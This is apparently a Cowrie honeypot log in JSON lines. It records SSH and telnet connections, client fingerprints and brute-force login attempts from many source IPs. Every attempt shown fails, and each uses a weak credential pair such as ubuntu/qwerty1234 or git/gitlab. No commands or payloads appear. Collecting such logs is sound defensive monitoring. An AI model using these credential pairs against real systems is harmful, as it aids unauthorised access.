{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:47.284708Z","src_ip":"221.139.88.149","session":"5993e73f6dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:47.472845Z","src_ip":"221.139.88.149","session":"5993e73f6dc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty1234","message":"login attempt [ubuntu/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:48.481048Z","src_ip":"221.139.88.149","session":"5993e73f6dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:49.670872Z","src_ip":"221.139.88.149","session":"5993e73f6dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":37012,"dst_ip":"10.17.0.5","dst_port":22,"session":"86844b550d70","protocol":"ssh","message":"New connection: 185.216.119.134:37012 (10.17.0.5:22) [session: 86844b550d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:51.676637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:51.692438Z","src_ip":"185.216.119.134","session":"86844b550d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:52.177272Z","src_ip":"185.216.119.134","session":"86844b550d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"admin1234567","message":"login attempt [test/admin1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:54.116122Z","src_ip":"185.216.119.134","session":"86844b550d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:55.340340Z","src_ip":"185.216.119.134","session":"86844b550d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.650121212005615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:57.533202Z","src_ip":"59.126.16.66","session":"c34d2e6df64d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":45154,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f96c46d1070","protocol":"ssh","message":"New connection: 31.59.89.180:45154 (159.203.135.109:22) [session: 8f96c46d1070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:02.131645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:02.138754Z","src_ip":"31.59.89.180","session":"8f96c46d1070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:02.253821Z","src_ip":"31.59.89.180","session":"8f96c46d1070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitlab","message":"login attempt [git/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:02.736294Z","src_ip":"31.59.89.180","session":"8f96c46d1070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:03.852792Z","src_ip":"31.59.89.180","session":"8f96c46d1070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52860,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba0a7e7710ea","protocol":"ssh","message":"New connection: 159.203.92.129:52860 (159.203.135.109:22) [session: ba0a7e7710ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:04.857767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:05.008849Z","src_ip":"159.203.92.129","session":"ba0a7e7710ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:05.013227Z","src_ip":"159.203.92.129","session":"ba0a7e7710ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YanBin","password":"123456","message":"login attempt [YanBin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:05.314184Z","src_ip":"159.203.92.129","session":"ba0a7e7710ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:06.346126Z","src_ip":"159.203.92.129","session":"ba0a7e7710ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":51760,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d97d087eb21","protocol":"ssh","message":"New connection: 210.183.21.53:51760 (10.17.0.5:22) [session: 2d97d087eb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:19.512279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:19.518339Z","src_ip":"210.183.21.53","session":"2d97d087eb21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:19.716423Z","src_ip":"210.183.21.53","session":"2d97d087eb21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git#2024","message":"login attempt [git/git#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:20.531834Z","src_ip":"210.183.21.53","session":"2d97d087eb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:21.741913Z","src_ip":"210.183.21.53","session":"2d97d087eb21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":4724,"dst_ip":"10.17.0.5","dst_port":22,"session":"da8f1ba67dc0","protocol":"ssh","message":"New connection: 201.149.53.243:4724 (10.17.0.5:22) [session: da8f1ba67dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:23.416640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:23.421255Z","src_ip":"201.149.53.243","session":"da8f1ba67dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:23.490130Z","src_ip":"201.149.53.243","session":"da8f1ba67dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"administrator","message":"login attempt [ubuntu/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:23.796720Z","src_ip":"201.149.53.243","session":"da8f1ba67dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:24.868854Z","src_ip":"201.149.53.243","session":"da8f1ba67dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.138.237.246","src_port":44308,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ed63e9dd28","protocol":"telnet","message":"New connection: 196.138.237.246:44308 (159.203.135.109:23) [session: 30ed63e9dd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:26.864373Z"}
{"eventid":"cowrie.session.closed","duration":12.45214319229126,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:39.316403Z","src_ip":"196.138.237.246","session":"30ed63e9dd28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":44170,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ffdccb14054","protocol":"ssh","message":"New connection: 173.249.6.197:44170 (159.203.135.109:22) [session: 5ffdccb14054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:41.704606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:41.709627Z","src_ip":"173.249.6.197","session":"5ffdccb14054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:41.803892Z","src_ip":"173.249.6.197","session":"5ffdccb14054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vasadmin","password":"vasadmin","message":"login attempt [vasadmin/vasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:42.208773Z","src_ip":"173.249.6.197","session":"5ffdccb14054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:43.305568Z","src_ip":"173.249.6.197","session":"5ffdccb14054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":53968,"dst_ip":"159.203.135.109","dst_port":22,"session":"02c864758a47","protocol":"ssh","message":"New connection: 31.59.89.180:53968 (159.203.135.109:22) [session: 02c864758a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:45.812114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:45.816782Z","src_ip":"31.59.89.180","session":"02c864758a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:45.927125Z","src_ip":"31.59.89.180","session":"02c864758a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"123456","message":"login attempt [ts3server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:46.401622Z","src_ip":"31.59.89.180","session":"02c864758a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57366,"dst_ip":"159.203.135.109","dst_port":22,"session":"940a52f051e9","protocol":"ssh","message":"New connection: 159.203.92.129:57366 (159.203.135.109:22) [session: 940a52f051e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:46.747662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:35:46.752755Z","src_ip":"159.203.92.129","session":"940a52f051e9","protocol":"ssh"}
